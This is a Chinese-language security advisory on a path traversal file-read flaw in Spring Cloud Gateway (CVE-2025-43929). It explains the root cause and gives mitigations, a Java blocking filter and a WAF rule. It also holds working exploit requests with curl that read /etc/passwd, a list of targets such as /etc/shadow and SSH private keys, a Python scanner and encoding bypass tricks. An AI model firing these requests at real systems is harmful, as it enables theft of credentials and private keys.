深入解析:Spring Cloud Gateway 任意文件读取漏洞(CVE-2025-43929)
一、漏洞概述
漏洞编号:CVE-2025-43929
影响组件:Spring Cloud Gateway
漏洞类型:路径遍历 / 任意文件读取(Arbitrary File Read)
危害等级:高危(High)
CVSS 评分:7.5(CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
影响版本:
- Spring Cloud Gateway 3.x 系列:< 3.1.8
- Spring Cloud Gateway 4.x 系列:< 4.0.5
修复版本:
- 3.1.8 及以上
- 4.0.5 及以上
漏洞本质:当应用程序将用户可控的 HTTP 请求头(如 X-Forwarded-Prefix)直接拼接进路由定义,且路由配置了 file: 类型的 URI 时,攻击者可利用路径遍历序列(../)跳出预期目录,读取服务器上任意文件。
二、漏洞原理深度剖析
2.1 Spring Cloud Gateway 架构回顾
Spring Cloud Gateway 作为 Spring Cloud 生态的官方网关组件,核心由三大概念构成:
| 概念 | 说明 |
|---|---|
| Route(路由) | 网关的基本构建块,由 ID、目标 URI、断言集合和过滤器集合组成 |
| Predicate(断言) | 匹配 HTTP 请求的条件(如路径、方法、Header 等) |
| Filter(过滤器) | 在请求被路由前后对请求/响应进行修改 |
网关接收到请求后,依次执行以下流程:
- 路由匹配:根据 Predicate 匹配到目标 Route
- 过滤器链执行:依次执行 GatewayFilter 和 GlobalFilter
- 请求转发:将请求转发至 Route 中配置的 URI
2.2 关键配置:X-Forwarded-Prefix
X-Forwarded-Prefix 是一个 HTTP 请求头,用于告知后端服务当前请求的原始前缀路径。在 Spring Cloud Gateway 中,当配置了 PreserveHostHeader 或特定过滤器时,该头部值可被用于动态构造路由目标 URI。
正常场景示例:
请求头:X-Forwarded-Prefix: /api/v1
路由配置:uri: file:/var/www/static/
实际访问路径:/var/www/static/api/v1/index.html
2.3 漏洞触发链路
漏洞的完整触发链路如下:
用户可控请求头
│
▼
┌─────────────────────┐
│ X-Forwarded-Prefix │ ← 攻击者注入: ../../../etc
└─────────────────────┘
│
▼
┌─────────────────────┐
│ 路由定义拼接逻辑 │ ← 未对路径进行规范化校验
└─────────────────────┘
│
▼
┌─────────────────────┐
│ 目标 URI 构造 │ ← file:/var/www/static/../../../etc/passwd
└─────────────────────┘
│
▼
┌─────────────────────┐
│ 文件系统访问 │ ← 实际读取: /etc/passwd
└─────────────────────┘
核心问题:在将 X-Forwarded-Prefix 头部值拼接到 file: 类型 URI 时,框架未对路径遍历字符(../)进行过滤或规范化处理,导致攻击者可通过构造恶意路径读取任意文件。
2.4 技术细节:路径拼接缺陷
Spring Cloud Gateway 在处理 X-Forwarded-Prefix 时,内部调用链大致为:
// 伪代码:路径拼接逻辑
String prefix = request.getHeader("X-Forwarded-Prefix");
String basePath = route.getUri().getPath(); // 例如: /var/www/static/
String targetPath = basePath + prefix + request.getPath();
// 缺陷:未调用 canonicalize() 或 normalize() 进行路径规范化
Path resolved = Paths.get(targetPath); // 直接解析,不校验
正常路径规范化应执行:
Path resolved = Paths.get(basePath, prefix, requestPath)
.normalize() // 解析 ../
.toRealPath(); // 获取真实路径
// 然后校验是否在 basePath 范围内
三、漏洞复现
3.1 环境搭建
依赖配置(pom.xml):
<dependency>
<groupId>org.springframework.cloud</groupId>
<artifactId>spring-cloud-starter-gateway</artifactId>
<version>3.1.7</version> <!-- 漏洞版本 -->
</dependency>
路由配置(application.yml):
spring:
cloud:
gateway:
routes:
- id: file_route
uri: file:/var/www/static/
predicates:
- Path=/static/**
filters:
- PreserveHostHeader
3.2 攻击步骤
步骤 1:构造恶意请求
GET /static/index.html HTTP/1.1
Host: target.com
X-Forwarded-Prefix: ../../../etc
步骤 2:发送请求
curl -H "X-Forwarded-Prefix: ../../../etc" \
http://target.com/static/passwd
步骤 3:观察响应
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
成功读取 /etc/passwd 文件内容。
3.3 读取其他敏感文件
| 目标文件 | 请求路径 |
|---|---|
/etc/shadow |
X-Forwarded-Prefix: ../../../etc + /shadow |
/proc/self/environ |
X-Forwarded-Prefix: ../../../proc/self + /environ |
| 配置文件 | X-Forwarded-Prefix: ../../../app/config + /application.yml |
| 私钥文件 | X-Forwarded-Prefix: ../../../root/.ssh + /id_rsa |
四、漏洞影响范围分析
4.1 直接危害
| 危害类型 | 说明 |
|---|---|
| 敏感信息泄露 | 读取系统文件(/etc/passwd)、应用配置(含数据库密码、API Key)、SSH 私钥等 |
| 权限提升前置 | 获取配置文件中的凭证,为后续横向移动或权限提升创造条件 |
| 容器逃逸辅助 | 在容器环境中读取 /proc/self/mountinfo 等文件,探测宿主机挂载点 |
4.2 间接危害
- 源码泄露:读取应用 JAR/WAR 包或 class 文件,反编译获取业务逻辑
- 云凭证泄露:读取
/proc/self/environ或实例元数据服务获取云厂商临时凭证 - 合规风险:违反数据保护法规(GDPR、等保),造成企业合规处罚
4.3 影响场景
该漏洞仅在同时满足以下条件时触发:
- 使用受影响版本的 Spring Cloud Gateway
- 路由配置中使用了
file:类型的 URI - 应用将用户可控的 Header(如
X-Forwarded-Prefix)用于路由路径构造
五、修复方案
5.1 官方修复方案
升级到安全版本:
<!-- 3.x 系列升级 -->
<dependency>
<groupId>org.springframework.cloud</groupId>
<artifactId>spring-cloud-starter-gateway</artifactId>
<version>3.1.8</version>
</dependency>
<!-- 4.x 系列升级 -->
<dependency>
<groupId>org.springframework.cloud</groupId>
<artifactId>spring-cloud-starter-gateway</artifactId>
<version>4.0.5</version>
</dependency>
修复原理:官方在路径拼接逻辑中增加了规范化校验:
// 修复后的伪代码
Path resolved = Paths.get(basePath)
.resolve(prefix)
.normalize()
.toRealPath();
// 校验是否在允许范围内
if (!resolved.startsWith(allowedBasePath)) {
throw new AccessDeniedException("Path traversal detected");
}
5.2 临时缓解措施
若无法立即升级,可采用以下缓解方案:
方案 A:禁用 X-Forwarded-Prefix 处理
spring:
cloud:
gateway:
x-forwarded:
enabled: false
方案 B:添加全局过滤器拦截恶意请求
@Component
public class PathTraversalFilter implements GlobalFilter, Ordered {
private static final Pattern TRAVERSAL_PATTERN =
Pattern.compile("\\.\\./|\\.\\.\\\\");
@Override
public Mono<Void> filter(ServerWebExchange exchange, GatewayFilterChain chain) {
String prefix = exchange.getRequest()
.getHeaders()
.getFirst("X-Forwarded-Prefix");
if (prefix != null && TRAVERSAL_PATTERN.matcher(prefix).find()) {
exchange.getResponse().setStatusCode(HttpStatus.FORBIDDEN);
return exchange.getResponse().setComplete();
}
return chain.filter(exchange);
}
@Override
public int getOrder() {
return -100; // 高优先级
}
}
方案 C:WAF 规则拦截
# ModSecurity 规则示例
SecRule REQUEST_HEADERS:X-Forwarded-Prefix "@rx \.\./" \
"id:1001,phase:1,deny,msg:'Path Traversal in X-Forwarded-Prefix'"
5.3 安全配置最佳实践
| 实践 | 说明 |
|---|---|
避免使用 file: URI |
静态资源通过 Nginx 等 Web 服务器提供,而非网关直接读取 |
| 输入校验白名单 | 对 Header 值仅允许字母、数字和 /,拒绝 ..、. 等特殊字符 |
| 最小权限原则 | 网关进程以低权限用户运行,限制可读取的文件范围 |
| 路径规范化校验 | 在自定义过滤器中对所有拼接路径执行 normalize() + 前缀校验 |
六、漏洞检测
6.1 手动检测
# 检测目标是否存在漏洞
curl -I -H "X-Forwarded-Prefix: ../../../etc" \
http://target.com/static/passwd
判断依据:
- 返回 200 且响应体包含
/etc/passwd内容 → 存在漏洞 - 返回 403/404 → 可能已修复或不存在漏洞
6.2 自动化检测脚本
import requests
import sys
def check_cve_2025_43929(target_url):
headers = {
"X-Forwarded-Prefix": "../../../etc"
}
try:
# 尝试读取 /etc/passwd
response = requests.get(
f"{target_url}/static/passwd",
headers=headers,
timeout=10
)
if response.status_code == 200 and "root:" in response.text:
print(f"[VULNERABLE] {target_url} is vulnerable to CVE-2025-43929")
return True
else:
print(f"[SAFE] {target_url} appears to be patched or not vulnerable")
return False
except Exception as e:
print(f"[ERROR] {e}")
return False
if __name__ == "__main__":
if len(sys.argv) != 2:
print("Usage: python check.py <target_url>")
sys.exit(1)
check_cve_2025_43929(sys.argv[1])
6.3 版本检测
检查应用依赖中 Spring Cloud Gateway 的版本:
# Maven 项目
mvn dependency:tree | grep spring-cloud-gateway
# Gradle 项目
gradle dependencies | grep spring-cloud-gateway
七、知识延伸
7.1 路径遍历漏洞通用原理
路径遍历(Path Traversal / Directory Traversal)是一类经典 Web 漏洞,其本质是用户输入未经过滤直接拼接到文件路径中。
常见绕过技巧:
| 绕过方式 | 示例 |
|---|---|
| URL 编码 | %2e%2e%2f → ../ |
| 双重 URL 编码 | %252e%252e%252f → ../ |
| Unicode 编码 | %c0%ae%c0%ae/ → ../ |
| 路径截断 | ../../../etc/passwd%00.jpg |
| 绝对路径 | /etc/passwd |
防御通用原则:
- 输入验证:白名单机制,仅允许合法字符
- 路径规范化:
realpath()/normalize()后校验前缀 - 沙箱隔离:使用
chroot或容器限制文件系统访问范围
7.2 Spring Cloud Gateway 历史漏洞回顾
| CVE 编号 | 类型 | 说明 |
|---|---|---|
| CVE-2022-22947 | SpEL 注入 | 通过恶意路由过滤器执行任意代码 |
| CVE-2023-20898 | 代码注入 | 类似 SpEL 注入变体 |
| CVE-2025-43929 | 路径遍历 | 本文所述漏洞 |
7.3 安全开发生命周期(SDL)启示
该漏洞暴露的问题在 SDL 中对应多个环节:
- 设计阶段:未对动态路由构造进行威胁建模
- 编码阶段:未遵循安全编码规范(路径规范化)
- 测试阶段:缺乏安全测试用例(模糊测试)
- 部署阶段:未及时关注安全公告
八、总结
CVE-2025-43929 是 Spring Cloud Gateway 中一个高危的路径遍历漏洞,攻击者通过构造恶意的 X-Forwarded-Prefix 请求头,可读取服务器上任意文件。该漏洞影响 3.1.8 和 4.0.5 以下的所有版本。
核心修复建议:
- 立即升级至 3.1.8 或 4.0.5 及以上版本
- 若无法升级,部署全局过滤器拦截包含
../的请求头 - 遵循最小权限原则,避免网关直接提供文件服务
安全编码要点:
- 任何涉及文件路径拼接的操作,必须执行规范化并校验前缀
- 用户可控输入永远不可信,需严格白名单校验
- 定期关注官方安全公告,建立漏洞响应机制
附录:参考资源
| 资源 | 链接 |
|---|---|
| Spring Cloud Gateway 官方文档 | https://spring.io/projects/spring-cloud-gateway |
| CVE-2025-43929 官方公告 | https://spring.io/security/cve-2025-43929 |
| OWASP 路径遍历防护指南 | https://cheatsheetseries.owasp.org/cheatsheets/Path_Traversal_Prevention_Cheat_Sheet.html |
| CWE-22: Improper Limitation of a Pathname | https://cwe.mitre.org/data/definitions/22.html |